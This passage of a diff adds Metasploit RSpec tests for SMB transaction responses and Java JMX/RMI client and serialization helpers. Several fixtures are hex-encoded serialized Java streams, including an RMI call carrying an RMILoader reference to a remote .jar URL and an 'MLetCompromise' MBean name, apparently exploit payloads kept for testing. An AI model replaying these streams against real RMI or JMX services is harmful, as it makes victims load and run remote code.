expect(smb_data.v['ExtFileAttributes']).to eq(Rex::Proto::SMB::Constants::SMB_EXT_FILE_ATTR_DIRECTORY) + end + end + end + + describe "#smb_cmd_trans_query_file_info_standard" do + it "returns the number of bytes sent" do + expect(mod.smb_cmd_trans_query_file_info_standard(client, non_existent_fid)).to eq(info_standard_res_length) + end + + it "always sends a TRANSACTION2 response with SMB_QUERY_FILE_STANDARD_INFO about the shared file" do + mod.smb_cmd_trans_query_file_info_standard(client, non_existent_fid) + client.seek(0) + res = client.read + + trans2_res = Rex::Proto::SMB::Constants::SMB_TRANS_RES_PKT.make_struct + trans2_res.from_s(res) + param_count = trans2_res['Payload'].v['ParamCount'] + data_count = trans2_res['Payload'].v['DataCount'] + + data = trans2_res['Payload'].v['SetupData'][2 + param_count, data_count] + smb_data = Rex::Proto::SMB::Constants::SMB_QUERY_FILE_STANDARD_INFO_HDR.make_struct + smb_data.from_s(data) + + expect(smb_data.v['EndOfFile']).to eq(mod.file_contents.length) + end + end + + describe "#smb_cmd_trans_query_path_info_basic" do + context "when non existent path" do + it "returns the number of bytes sent" do + expect(mod.smb_cmd_trans_query_path_info_basic(client, non_existent_path)).to eq(error_res_length) + end + + it "sends a TRANSACTION2 response with SMB_STATUS_OBJECT_NAME_NOT_FOUND error to the client" do + mod.smb_cmd_trans_query_path_info_basic(client, non_existent_path) + client.seek(0) + res = client.read + + trans2_res = Rex::Proto::SMB::Constants::SMB_TRANS_RES_PKT.make_struct + trans2_res.from_s(res) + + expect(trans2_res['Payload']['SMB'].v['ErrorClass']).to eq(Rex::Proto::SMB::Constants::SMB_STATUS_OBJECT_NAME_NOT_FOUND) + end + end + + context "when existent file path" do + it "returns the number of bytes sent" do + expect(mod.smb_cmd_trans_query_path_info_basic(client, file_path)).to eq(existent_path_info_basic_res_length) + end + + it "sends a TRANSACTION2 response with SMB_EXT_FILE_ATTR_NORMAL ExtFileAttributes" do + mod.smb_cmd_trans_query_path_info_basic(client, file_path) + client.seek(0) + res = client.read + + trans2_res = Rex::Proto::SMB::Constants::SMB_TRANS_RES_PKT.make_struct + trans2_res.from_s(res) + param_count = trans2_res['Payload'].v['ParamCount'] + data_count = trans2_res['Payload'].v['DataCount'] + + data = trans2_res['Payload'].v['SetupData'][2 + param_count, data_count] + smb_data = Rex::Proto::SMB::Constants::SMB_QUERY_FILE_BASIC_INFO_HDR.make_struct + smb_data.from_s(data) + + expect(smb_data.v['ExtFileAttributes']).to eq(Rex::Proto::SMB::Constants::SMB_EXT_FILE_ATTR_NORMAL) + end + end + + context "when existent folder path" do + it "returns the number of bytes sent" do + expect(mod.smb_cmd_trans_query_path_info_basic(client, folder_path)).to eq(existent_path_info_basic_res_length) + end + + it "sends a TRANSACTION2 response with SMB_EXT_FILE_ATTR_DIRECTORY ExtFileAttributes" do + mod.smb_cmd_trans_query_path_info_basic(client, folder_path) + client.seek(0) + res = client.read + + trans2_res = Rex::Proto::SMB::Constants::SMB_TRANS_RES_PKT.make_struct + trans2_res.from_s(res) + param_count = trans2_res['Payload'].v['ParamCount'] + data_count = trans2_res['Payload'].v['DataCount'] + + data = trans2_res['Payload'].v['SetupData'][2 + param_count, data_count] + smb_data = Rex::Proto::SMB::Constants::SMB_QUERY_FILE_BASIC_INFO_HDR.make_struct + smb_data.from_s(data) + + expect(smb_data.v['ExtFileAttributes']).to eq(Rex::Proto::SMB::Constants::SMB_EXT_FILE_ATTR_DIRECTORY) + end + end + end + + describe "#smb_cmd_trans_query_path_info_standard" do + context "when non existent path" do + it "returns the number of bytes sent" do + expect(mod.smb_cmd_trans_query_path_info_standard(client, non_existent_path)).to eq(error_res_length) + end + + it "sends a TRANSACTION2 response with SMB_STATUS_OBJECT_NAME_NOT_FOUND error to the client" do + mod.smb_cmd_trans_query_path_info_standard(client, non_existent_path) + client.seek(0) + res = client.read + + trans2_res = Rex::Proto::SMB::Constants::SMB_TRANS_RES_PKT.make_struct + trans2_res.from_s(res) + + expect(trans2_res['Payload']['SMB'].v['ErrorClass']).to eq(Rex::Proto::SMB::Constants::SMB_STATUS_OBJECT_NAME_NOT_FOUND) + end + end + + context "when existent file path" do + it "returns the number of bytes sent" do + expect(mod.smb_cmd_trans_query_path_info_standard(client, file_path)).to eq(existent_path_info_standard_res_length) + end + + it "sends a TRANSACTION2 response with the Directory field unset" do + mod.smb_cmd_trans_query_path_info_standard(client, file_path) + client.seek(0) + res = client.read + + trans2_res = Rex::Proto::SMB::Constants::SMB_TRANS_RES_PKT.make_struct + trans2_res.from_s(res) + param_count = trans2_res['Payload'].v['ParamCount'] + data_count = trans2_res['Payload'].v['DataCount'] + + data = trans2_res['Payload'].v['SetupData'][2 + param_count, data_count] + smb_data = Rex::Proto::SMB::Constants::SMB_QUERY_FILE_STANDARD_INFO_HDR.make_struct + smb_data.from_s(data) + + expect(smb_data.v['Directory']).to eq(0) + end + end + + context "when existent folder path" do + it "returns the number of bytes sent" do + expect(mod.smb_cmd_trans_query_path_info_standard(client, folder_path)).to eq(existent_path_info_standard_res_length) + end + + it "sends a TRANSACTION2 response with the Directory field set" do + mod.smb_cmd_trans_query_path_info_standard(client, folder_path) + client.seek(0) + res = client.read + + trans2_res = Rex::Proto::SMB::Constants::SMB_TRANS_RES_PKT.make_struct + trans2_res.from_s(res) + param_count = trans2_res['Payload'].v['ParamCount'] + data_count = trans2_res['Payload'].v['DataCount'] + + data = trans2_res['Payload'].v['SetupData'][2 + param_count, data_count] + smb_data = Rex::Proto::SMB::Constants::SMB_QUERY_FILE_STANDARD_INFO_HDR.make_struct + smb_data.from_s(data) + + expect(smb_data.v['Directory']).to eq(1) + end + end + end + + + describe "#smb_cmd_trans_query_path_info_network" do + context "when non existent path" do + it "returns the number of bytes sent" do + expect(mod.smb_cmd_trans_query_path_info_network(client, non_existent_path)).to eq(error_res_length) + end + + it "sends a TRANSACTION2 response with SMB_STATUS_OBJECT_NAME_NOT_FOUND error to the client" do + mod.smb_cmd_trans_query_path_info_network(client, non_existent_path) + client.seek(0) + res = client.read + + trans2_res = Rex::Proto::SMB::Constants::SMB_TRANS_RES_PKT.make_struct + trans2_res.from_s(res) + + expect(trans2_res['Payload']['SMB'].v['ErrorClass']).to eq(Rex::Proto::SMB::Constants::SMB_STATUS_OBJECT_NAME_NOT_FOUND) + end + end + + context "when existent file path" do + it "returns the number of bytes sent" do + expect(mod.smb_cmd_trans_query_path_info_network(client, file_path)).to eq(existent_path_info_network_res_length) + end + + it "sends a TRANSACTION2 response with SMB_EXT_FILE_ATTR_NORMAL ExtFileAttributes" do + mod.smb_cmd_trans_query_path_info_network(client, file_path) + client.seek(0) + res = client.read + + trans2_res = Rex::Proto::SMB::Constants::SMB_TRANS_RES_PKT.make_struct + trans2_res.from_s(res) + param_count = trans2_res['Payload'].v['ParamCount'] + data_count = trans2_res['Payload'].v['DataCount'] + + data = trans2_res['Payload'].v['SetupData'][2 + param_count, data_count] + smb_data = Rex::Proto::SMB::Constants::SMB_QUERY_FILE_NETWORK_INFO_HDR.make_struct + smb_data.from_s(data) + + expect(smb_data.v['ExtFileAttributes']).to eq(Rex::Proto::SMB::Constants::SMB_EXT_FILE_ATTR_NORMAL) + end + end + + context "when existent folder path" do + it "returns the number of bytes sent" do + expect(mod.smb_cmd_trans_query_path_info_network(client, folder_path)).to eq(existent_path_info_network_res_length) + end + + it "sends a TRANSACTION2 response with SMB_EXT_FILE_ATTR_DIRECTORY ExtFileAttributes" do + mod.smb_cmd_trans_query_path_info_network(client, folder_path) + client.seek(0) + res = client.read + + trans2_res = Rex::Proto::SMB::Constants::SMB_TRANS_RES_PKT.make_struct + trans2_res.from_s(res) + param_count = trans2_res['Payload'].v['ParamCount'] + data_count = trans2_res['Payload'].v['DataCount'] + + data = trans2_res['Payload'].v['SetupData'][2 + param_count, data_count] + smb_data = Rex::Proto::SMB::Constants::SMB_QUERY_FILE_NETWORK_INFO_HDR.make_struct + smb_data.from_s(data) + + expect(smb_data.v['ExtFileAttributes']).to eq(Rex::Proto::SMB::Constants::SMB_EXT_FILE_ATTR_DIRECTORY) + end + end + end +end + + diff --git a/spec/lib/msf/java/jmx/discovery_spec.rb b/spec/lib/msf/java/jmx/discovery_spec.rb new file mode 100644 index 000000000000..c5f02ef22a6e --- /dev/null +++ b/spec/lib/msf/java/jmx/discovery_spec.rb @@ -0,0 +1,33 @@ +# -*- coding:binary -*- +require 'spec_helper' + +require 'rex/java' +require 'msf/java/jmx' + +describe Msf::Java::Jmx::Discovery do + subject(:mod) do + mod = ::Msf::Exploit.new + mod.extend ::Msf::Java::Jmx + mod.send(:initialize) + mod + end + + let(:stream_discovery) do + "\xac\xed\x00\x05\x77\x22\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" + + "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02" + + "\x44\x15\x4d\xc9\xd4\xe6\x3b\xdf\x74\x00\x06\x6a\x6d\x78\x72\x6d" + + "\x69" + end + + describe "#discovery_stream" do + + it "returns a Rex::Java::Serialization::Model::Stream" do + expect(mod.discovery_stream).to be_a(Rex::Java::Serialization::Model::Stream) + end + + it "builds a valid stream to discover an jmxrmi endpoing" do + expect(mod.discovery_stream.encode).to eq(stream_discovery) + end + end +end + diff --git a/spec/lib/msf/java/jmx/handshake_spec.rb b/spec/lib/msf/java/jmx/handshake_spec.rb new file mode 100644 index 000000000000..7c6d3d9ebe67 --- /dev/null +++ b/spec/lib/msf/java/jmx/handshake_spec.rb @@ -0,0 +1,48 @@ +# -*- coding:binary -*- +require 'spec_helper' + +require 'stringio' +require 'rex/java' +require 'msf/java/jmx' + +describe Msf::Java::Jmx::Handshake do + subject(:mod) do + mod = ::Msf::Exploit.new + mod.extend ::Msf::Java::Jmx + mod.send(:initialize) + mod + end + + let(:handshake_stream) do + "\xac\xed\x00\x05\x77\x0d\x30\xff\xff\xff\xff\xf0\xe0\x74\xea\xad" + + "\x0c\xae\xa8\x70" + end + + let(:auth_stream) do + "\x72\x00\x13\x5b\x4c\x6a\x61\x76\x61\x2e\x6c\x61\x6e\x67\x2e\x53" + + "\x74\x72\x69\x6e\x67\x3b\xad\xd2\x56\xe7\xe9\x1d\x7b\x47\x02\x00" + + "\x00\x70\x78\x70\x00\x00\x00\x02\x74\x00\x04\x72\x6f\x6c\x65\x74" + + "\x00\x08\x70\x61\x73\x73\x77\x6f\x72\x64" + end + + describe "#handshake_stream" do + it "returns a Rex::Java::Serialization::Model::Stream" do + expect(mod.handshake_stream(0)).to be_a(Rex::Java::Serialization::Model::Stream) + end + + it "builds a correct stream" do + expect(mod.handshake_stream(0).encode).to eq(handshake_stream) + end + end + + describe "#auth_array_stream" do + it "returns a Rex::Java::Serialization::Model::Stream" do + expect(mod.auth_array_stream('role', 'password')).to be_a(Rex::Java::Serialization::Model::NewArray) + end + + it "builds a correct stream" do + expect(mod.auth_array_stream('role', 'password').encode).to eq(auth_stream) + end + end +end + diff --git a/spec/lib/msf/java/jmx/mbean/server_connection_spec.rb b/spec/lib/msf/java/jmx/mbean/server_connection_spec.rb new file mode 100644 index 000000000000..a8b34d697dac --- /dev/null +++ b/spec/lib/msf/java/jmx/mbean/server_connection_spec.rb @@ -0,0 +1,93 @@ +# -*- coding:binary -*- +require 'spec_helper' + +require 'rex/java' +require 'msf/java/jmx' + +describe Msf::Java::Jmx::Mbean::ServerConnection do + subject(:mod) do + mod = ::Msf::Exploit.new + mod.extend ::Msf::Java::Jmx + mod.send(:initialize) + mod + end + + let(:mbean_sample) { 'MBeanSample' } + let(:sample_args) do + {'arg1' => 'java.lang.String'} + end + + describe "#create_mbean_stream" do + it "returns a Rex::Java::Serialization::Model::Stream" do + expect(mod.create_mbean_stream).to be_a(Rex::Java::Serialization::Model::Stream) + end + + context "when no opts" do + it "builds a default stream" do + expect(mod.create_mbean_stream.contents[1].contents).to eq('') + end + end + + context "when opts" do + it "builds a stream having opts into account" do + expect(mod.create_mbean_stream(name: mbean_sample).contents[1].contents).to eq(mbean_sample) + end + end + end + + describe "#get_object_instance_stream" do + it "returns a Rex::Java::Serialization::Model::Stream" do + expect(mod.get_object_instance_stream).to be_a(Rex::Java::Serialization::Model::Stream) + end + + context "when no opts" do + it "builds a default stream" do + expect(mod.get_object_instance_stream.contents[2].contents).to eq('') + end + end + + context "when opts" do + it "builds a stream having opts into account" do + expect(mod.get_object_instance_stream(name: mbean_sample).contents[2].contents).to eq(mbean_sample) + end + end + end + + describe "#invoke_stream" do + it "returns a Rex::Java::Serialization::Model::Stream" do + expect(mod.invoke_stream).to be_a(Rex::Java::Serialization::Model::Stream) + end + + context "when no opts" do + it "builds a default stream" do + expect(mod.invoke_stream.contents[2].contents).to eq('') + end + end + + context "when opts" do + it "builds a stream having opts into account" do + expect(mod.invoke_stream(object: mbean_sample).contents[2].contents).to eq(mbean_sample) + end + end + end + + describe "#invoke_arguments_stream" do + it "returns a Rex::Java::Serialization::Model::Stream" do + expect(mod.invoke_arguments_stream).to be_a(Rex::Java::Serialization::Model::Stream) + end + + context "when no opts" do + it "builds a default stream" do + expect(mod.invoke_arguments_stream.contents[0].values.length).to eq(0) + end + end + + context "when opts" do + it "builds a stream having opts into account" do + expect(mod.invoke_arguments_stream(sample_args).contents[0].values[0].contents).to eq(sample_args['arg1']) + end + end + end + +end + diff --git a/spec/lib/msf/java/jmx/util_spec.rb b/spec/lib/msf/java/jmx/util_spec.rb new file mode 100644 index 000000000000..97b3f7abfc22 --- /dev/null +++ b/spec/lib/msf/java/jmx/util_spec.rb @@ -0,0 +1,121 @@ +# -*- coding:binary -*- +require 'spec_helper' + +require 'stringio' +require 'rex/java' +require 'msf/java/jmx' + +describe Msf::Java::Jmx::Util do + subject(:mod) do + mod = ::Msf::Exploit.new + mod.extend ::Msf::Java::Jmx + mod.send(:initialize) + mod + end + + let(:empty) { '' } + let(:empty_io) { StringIO.new(empty) } + let(:string) { "\x00\x04\x41\x42\x43\x44" } + let(:string_io) { StringIO.new(string) } + let(:int) { "\x00\x00\x00\x04" } + let(:int_io) { StringIO.new(int) } + let(:stream_raw) do + "\xac\xed\x00\x05\x77\x22\x7b\xb5\x91\x73\x69\x12\x77\xcb\x4a\x7d" + + "\x3f\x10\x00\x00\x01\x4a\xe3\xed\x2f\x53\x81\x03\xff\xff\xff\xff" + + "\x60\x73\xb3\x36\x1f\x37\xbd\xc2\x73\x72\x00\x1b\x6a\x61\x76\x61" + + "\x78\x2e\x6d\x61\x6e\x61\x67\x65\x6d\x65\x6e\x74\x2e\x4f\x62\x6a" + + "\x65\x63\x74\x4e\x61\x6d\x65\x0f\x03\xa7\x1b\xeb\x6d\x15\xcf\x03" + + "\x00\x00\x70\x78\x70\x74\x00\x1d\x4d\x4c\x65\x74\x43\x6f\x6d\x70" + + "\x72\x6f\x6d\x69\x73\x65\x3a\x6e\x61\x6d\x65\x3d\x65\x76\x69\x6c" + + "\x2c\x69\x64\x3d\x31\x78\x70" + end + let(:stream) { Rex::Java::Serialization::Model::Stream.decode(StringIO.new(stream_raw)) } + + let(:contents_unicast_ref) do + "\x00\x0a\x55\x6e\x69\x63\x61\x73\x74\x52\x65\x66\x00\x0e\x31\x37" + + "\x32\x2e\x31\x36\x2e\x31\x35\x38\x2e\x31\x33\x31\x00\x00\x0b\xf1" + + "\x54\x74\xc4\x27\xb7\xa3\x4e\x9b\x51\xb5\x25\xf9\x00\x00\x01\x4a" + + "\xdf\xd4\x57\x7e\x80\x01\x01" + end + let(:unicast_ref_io) do + StringIO.new(Rex::Java::Serialization::Model::BlockData.new(nil, contents_unicast_ref).contents) + end + let(:unicast_ref) do + { + :address => '172.16.158.131', + :id => "\x54\x74\xc4\x27\xb7\xa3\x4e\x9b\x51\xb5\x25\xf9\x00\x00\x01\x4a\xdf\xd4\x57\x7e\x80\x01\x01", + :port => 3057 + } + end + + + describe "#extract_string" do + context "when io contains a valid string" do + it "returns the string" do + expect(mod.extract_string(string_io)).to eq('ABCD') + end + end + + context "when io doesn't contain a valid string" do + it "returns nil" do + expect(mod.extract_string(empty_io)).to be_nil + end + end + end + + describe "#extract_int" do + context "when io contains a valid int" do + it "returns the string" do + expect(mod.extract_int(int_io)).to eq(4) + end + end + + context "when io doesn't contain a valid int" do + it "returns nil" do + expect(mod.extract_int(empty_io)).to be_nil + end + end + end + + describe "#extract_object" do + context "when empty stream" do + it "returns nil" do + empty_stream = Rex::Java::Serialization::Model::Stream.new + expect(mod.extract_object(empty_stream, 1)). to be_nil + end + end + + context "when valid stream" do + context "when id stores an object" do + it "returns the object's class name" do + expect(mod.extract_object(stream, 1)).to eq('javax.management.ObjectName') + end + end + + context "when id doesn't store an object" do + it "returns nil" do + expect(mod.extract_object(stream, 0)). to be_nil + end + end + end + end + + describe "#extract_unicast_ref" do + context "when empty io" do + it "returns nil" do + expect(mod.extract_unicast_ref(empty_io)). to be_nil + end + end + + context "when valid io" do + it "returns a hash" do + expect(mod.extract_unicast_ref(unicast_ref_io)).to be_a(Hash) + end + + it "returns a hash containing the UnicastRef information" do + expect(mod.extract_unicast_ref(unicast_ref_io)).to eq(unicast_ref) + end + end + end +end + diff --git a/spec/lib/msf/java/rmi/client/streams_spec.rb b/spec/lib/msf/java/rmi/client/streams_spec.rb new file mode 100644 index 000000000000..0f92c1952b20 --- /dev/null +++ b/spec/lib/msf/java/rmi/client/streams_spec.rb @@ -0,0 +1,107 @@ +# -*- coding:binary -*- +require 'spec_helper' + +require 'rex/java/serialization' +require 'rex/proto/rmi' +require 'msf/java/rmi/client' + +describe Msf::Java::Rmi::Client::Streams do + subject(:mod) do + mod = ::Msf::Exploit.new + mod.extend ::Msf::Java::Rmi::Client + mod.send(:initialize) + mod + end + + let(:default_header) { "JRMI\x00\x02\x4b" } + let(:header_opts) do + { + :version => 1, + :protocol => Rex::Proto::Rmi::Model::MULTIPLEX_PROTOCOL + } + end + let(:opts_header) { "JRMI\x00\x01\x4d" } + + let(:default_call) { "\x50\xac\xed\x00\x05" } + let(:call_opts) do + { + :message_id => Rex::Proto::Rmi::Model::PING_MESSAGE + } + end + let(:opts_call) { "\x52\xac\xed\x00\x05" } + + let(:default_dgc_ack) { "\x54\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" } + let(:dgc_ack_opts) do + { + :unique_identifier => "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x05\x04\x03\x02\x01" + } + end + let(:opts_dgc_ack) { "\x54\x00\x00\x00\x00\x00\x00\x00\x00\x00\x05\x04\x03\x02\x01" } + + describe "#build_header" do + context "when no opts" do + it "creates a Rex::Proto::Rmi::Model::OutputHeader" do + expect(mod.build_header).to be_a(Rex::Proto::Rmi::Model::OutputHeader) + end + + it "creates a default OutputHeader" do + expect(mod.build_header.encode).to eq(default_header) + end + end + + context "when opts" do + it "creates a Rex::Proto::Rmi::Model::OutputHeader" do + expect(mod.build_header(header_opts)).to be_a(Rex::Proto::Rmi::Model::OutputHeader) + end + + it "creates a OutputHeader with data from opts" do + expect(mod.build_header(header_opts).encode).to eq(opts_header) + end + end + end + + describe "#build_call" do + context "when no opts" do + it "creates a Rex::Proto::Rmi::Model::Call" do + expect(mod.build_call).to be_a(Rex::Proto::Rmi::Model::Call) + end + + it "creates a default Call" do + expect(mod.build_call.encode).to eq(default_call) + end + end + + context "when opts" do + it "creates a Rex::Proto::Rmi::Model::Call" do + expect(mod.build_call(call_opts)).to be_a(Rex::Proto::Rmi::Model::Call) + end + + it "creates a Call with data from opts" do + expect(mod.build_call(call_opts).encode).to eq(opts_call) + end + end + end + + describe "#build_dgc_ack" do + context "when no opts" do + it "creates a Rex::Proto::Rmi::Model::DgcAck" do + expect(mod.build_dgc_ack).to be_a(Rex::Proto::Rmi::Model::DgcAck) + end + + it "creates a default Call" do + expect(mod.build_dgc_ack.encode).to eq(default_dgc_ack) + end + end + + context "when opts" do + it "creates a Rex::Proto::Rmi::Model::DgcAck" do + expect(mod.build_dgc_ack(dgc_ack_opts)).to be_a(Rex::Proto::Rmi::Model::DgcAck) + end + + it "creates a DgcAck with data from opts" do + expect(mod.build_dgc_ack(dgc_ack_opts).encode).to eq(opts_dgc_ack) + end + end + end +end + diff --git a/spec/lib/msf/java/rmi/client_spec.rb b/spec/lib/msf/java/rmi/client_spec.rb new file mode 100644 index 000000000000..72665d3a66f2 --- /dev/null +++ b/spec/lib/msf/java/rmi/client_spec.rb @@ -0,0 +1,100 @@ +# -*- coding:binary -*- +require 'spec_helper' + +require 'rex/java/serialization' +require 'rex/proto/rmi' +require 'msf/java/rmi/client' + +class RmiStringIO < StringIO + + def put(data) + write(data) + end + + def get_once(length = -1, timeout = 10) + read + end +end + +describe Msf::Java::Rmi::Client do + subject(:mod) do + mod = ::Msf::Exploit.new + mod.extend ::Msf::Java::Rmi::Client + mod.send(:initialize) + mod + end + + let(:io) { RmiStringIO.new('', 'w+b') } + let(:protocol_not_supported) { "\x4f" } + let(:protocol_not_supported_io) { RmiStringIO.new(protocol_not_supported) } + let(:protocol_ack) { "\x4e\x00\x0e\x31\x37\x32\x2e\x31\x36\x2e\x31\x35\x38\x2e\x31\x33\x32\x00\x00\x06\xea" } + let(:protocol_ack_io) { RmiStringIO.new(protocol_ack) } + let(:return_data) do + "\x51\xac\xed\x00\x05\x77\x0f\x01\xd2\x4f\xdf\x47\x00\x00\x01\x49" + + "\xb5\xe4\x92\x78\x80\x15\x73\x72\x00\x12\x6a\x61\x76\x61\x2e\x72" + + "\x6d\x69\x2e\x64\x67\x63\x2e\x4c\x65\x61\x73\x65\xb0\xb5\xe2\x66" + + "\x0c\x4a\xdc\x34\x02\x00\x02\x4a\x00\x05\x76\x61\x6c\x75\x65\x4c" + + "\x00\x04\x76\x6d\x69\x64\x74\x00\x13\x4c\x6a\x61\x76\x61\x2f\x72" + + "\x6d\x69\x2f\x64\x67\x63\x2f\x56\x4d\x49\x44\x3b\x70\x78\x70\x00" + + "\x00\x00\x00\x00\x09\x27\xc0\x73\x72\x00\x11\x6a\x61\x76\x61\x2e" + + "\x72\x6d\x69\x2e\x64\x67\x63\x2e\x56\x4d\x49\x44\xf8\x86\x5b\xaf" + + "\xa4\xa5\x6d\xb6\x02\x00\x02\x5b\x00\x04\x61\x64\x64\x72\x74\x00" + + "\x02\x5b\x42\x4c\x00\x03\x75\x69\x64\x74\x00\x15\x4c\x6a\x61\x76" + + "\x61\x2f\x72\x6d\x69\x2f\x73\x65\x72\x76\x65\x72\x2f\x55\x49\x44" + + "\x3b\x70\x78\x70\x75\x72\x00\x02\x5b\x42\xac\xf3\x17\xf8\x06\x08" + + "\x54\xe0\x02\x00\x00\x70\x78\x70\x00\x00\x00\x08\x6b\x02\xc7\x72" + + "\x60\x1c\xc7\x95\x73\x72\x00\x13\x6a\x61\x76\x61\x2e\x72\x6d\x69" + + "\x2e\x73\x65\x72\x76\x65\x72\x2e\x55\x49\x44\x0f\x12\x70\x0d\xbf" + + "\x36\x4f\x12\x02\x00\x03\x53\x00\x05\x63\x6f\x75\x6e\x74\x4a\x00" + + "\x04\x74\x69\x6d\x65\x49\x00\x06\x75\x6e\x69\x71\x75\x65\x70\x78" + + "\x70\x80\x01\x00\x00\x01\x49\xb5\xf8\x00\xea\xe9\x62\xc1\xc0" + end + let(:return_io) { RmiStringIO.new(return_data) } + + describe "#send_header" do + it "returns the number of bytes sent" do + expect(mod.send_header(sock: io)).to eq(13) + end + end + + describe "#send_call" do + it "returns the number of bytes sent" do + expect(mod.send_call(sock: io)).to eq(5) + end + end + + describe "#send_dgc_ack" do + it "returns the number of bytes sent" do + expect(mod.send_dgc_ack(sock: io)).to eq(15) + end + end + + describe "#recv_protocol_ack" do + context "when end point returns protocol ack" do + it "returns a Rex::Proto::Rmi::Model::ProtocolAck" do + expect(mod.recv_protocol_ack(sock: protocol_ack_io)).to be_a(Rex::Proto::Rmi::Model::ProtocolAck) + end + end + + context "when end point returns protocol not supported" do + it "return nil" do + expect(mod.recv_protocol_ack(sock: protocol_not_supported_io)).to be_nil + end + end + end + + describe "#recv_return" do + context "when end point returns a value to the call" do + it "returns a Rex::Java::Serialization::Model::Stream" do + expect(mod.recv_return(sock: return_io)).to be_a(Rex::Java::Serialization::Model::Stream) + end + end + + context "when end point doesn't return a value to the call" do + it "returns nil" do + expect(mod.recv_return(sock: io)).to be_nil + end + end + end +end + diff --git a/spec/lib/rex/java/serialization/builder_spec.rb b/spec/lib/rex/java/serialization/builder_spec.rb new file mode 100644 index 000000000000..86e957f19ca9 --- /dev/null +++ b/spec/lib/rex/java/serialization/builder_spec.rb @@ -0,0 +1,143 @@ +# -*- coding:binary -*- +require 'spec_helper' + +require 'rex/java' + +describe Rex::Java::Serialization::Builder do + subject(:builder) do + described_class.new + end + + let(:class_opts) do + { + name: 'java.rmi.MarshalledObject', + serial: 0x7cbd1e97ed63fc3e, + fields: [ + ['int', 'hash'], + ['array', 'locBytes', '[B'], + ['array', 'objBytes', '[B'] + ] + } + end + + let(:object_opts) do + { + data: [["int", 1]] + } + end + + let(:array_opts) do + { + values_type: 'byte', + values: [0x41, 0x42, 0x43, 0x44] + } + end + + describe ".new" do + it "returns a Rex::Java::Serialization::Builder" do + expect(builder).to be_a(Rex::Java::Serialization::Builder) + end + end + + describe "#new_class" do + context "when no options" do + it "returns a Rex::Java::Serialization::Model::NewClassDesc" do + expect(builder.new_class).to be_a(Rex::Java::Serialization::Model::NewClassDesc) + end + + it "sets an empty class name" do + expect(builder.new_class.class_name.contents).to eq('') + end + + it "sets a 0 serial version" do + expect(builder.new_class.serial_version).to eq(0) + end + + it "sets flags to SC_SERIALIZABLE" do + expect(builder.new_class.flags).to eq(Rex::Java::Serialization::SC_SERIALIZABLE) + end + + it "sets default annotations" do + expect(builder.new_class.class_annotation.contents.length).to eq(2) + end + + it "sets empty fields" do + expect(builder.new_class.fields.length).to eq(0) + end + + it "sets null super class" do + expect(builder.new_class.super_class.description).to be_a(Rex::Java::Serialization::Model::NullReference) + end + end + + context "when options" do + it "returns a Rex::Java::Serialization::Model::NewClassDesc" do + expect(builder.new_class(class_opts)).to be_a(Rex::Java::Serialization::Model::NewClassDesc) + end + + it "sets the class name from options" do + expect(builder.new_class(class_opts).class_name.contents).to eq(class_opts[:name]) + end + + it "sets serial version from options" do + expect(builder.new_class(class_opts).serial_version).to eq(class_opts[:serial]) + end + + it "sets fields from options" do + expect(builder.new_class(class_opts).fields.length).to eq(3) + end + end + end + + describe "#new_object" do + context "when no options" do + it "returns a Rex::Java::Serialization::Model::NewObject" do + expect(builder.new_object).to be_a(Rex::Java::Serialization::Model::NewObject) + end + + it "sets empty data" do + expect(builder.new_object.class_data).to eq([]) + end + end + + context "when options" do + it "returns a Rex::Java::Serialization::Model::NewObject" do + expect(builder.new_object(object_opts)).to be_a(Rex::Java::Serialization::Model::NewObject) + end + + it "sets data from options" do + expect(builder.new_object(object_opts).class_data[0][1]).to eq(1) + end + end + end + + describe "#new_array" do + context "when no options" do + it "returns a Rex::Java::Serialization::Model::NewArray" do + expect(builder.new_array).to be_a(Rex::Java::Serialization::Model::NewArray) + end + + it "sets empty values type" do + expect(builder.new_array.type).to eq('') + end + + it "sets empty values array" do + expect(builder.new_array.values).to eq([]) + end + end + + context "when options" do + it "returns a Rex::Java::Serialization::Model::NewArray" do + expect(builder.new_array(array_opts)).to be_a(Rex::Java::Serialization::Model::NewArray) + end + + it "sets empty values type" do + expect(builder.new_array(array_opts).type).to eq(array_opts[:values_type]) + end + + it "sets empty values array" do + expect(builder.new_array(array_opts).values).to eq(array_opts[:values]) + end + end + end +end \ No newline at end of file diff --git a/spec/lib/rex/java/serialization/model/stream_spec.rb b/spec/lib/rex/java/serialization/model/stream_spec.rb index 2c786b471aa6..2bfb0d9ab1f5 100644 --- a/spec/lib/rex/java/serialization/model/stream_spec.rb +++ b/spec/lib/rex/java/serialization/model/stream_spec.rb @@ -116,6 +116,40 @@ EOS } + let(:rmi_call) do + "\xac\xed\x00\x05\x77\x22\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00" + + "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" + + "\xf6\xb6\x89\x8d\x8b\xf2\x86\x43\x75\x72\x00\x18\x5b\x4c\x6a\x61" + + "\x76\x61\x2e\x72\x6d\x69\x2e\x73\x65\x72\x76\x65\x72\x2e\x4f\x62" + + "\x6a\x49\x44\x3b\x87\x13\x00\xb8\xd0\x2c\x64\x7e\x02\x00\x00\x70" + + "\x78\x70\x00\x00\x00\x00\x77\x08\x00\x00\x00\x00\x00\x00\x00\x00" + + "\x73\x72\x00\x14\x6d\x65\x74\x61\x73\x70\x6c\x6f\x69\x74\x2e\x52" + + "\x4d\x49\x4c\x6f\x61\x64\x65\x72\xa1\x65\x44\xba\x26\xf9\xc2\xf4" + + "\x02\x00\x00\x74\x00\x30\x68\x74\x74\x70\x3a\x2f\x2f\x31\x37\x32" + + "\x2e\x31\x36\x2e\x31\x35\x38\x2e\x31\x3a\x38\x30\x38\x30\x2f\x35" + + "\x71\x4f\x45\x37\x59\x52\x76\x43\x32\x53\x62\x2f\x65\x49\x64\x45" + + "\x44\x70\x2e\x6a\x61\x72\x78\x70\x77\x01\x00" + end + + let(:mbean_call) do + "\xac\xed\x00\x05\x77\x22\x7b\xb5\x91\x73\x69\x12\x77\xcb\x4a\x7d" + + "\x3f\x10\x00\x00\x01\x4a\xe3\xed\x2f\x53\x81\x03\xff\xff\xff\xff" + + "\x60\x73\xb3\x36\x1f\x37\xbd\xc2\x73\x72\x00\x1b\x6a\x61\x76\x61" + + "\x78\x2e\x6d\x61\x6e\x61\x67\x65\x6d\x65\x6e\x74\x2e\x4f\x62\x6a" + + 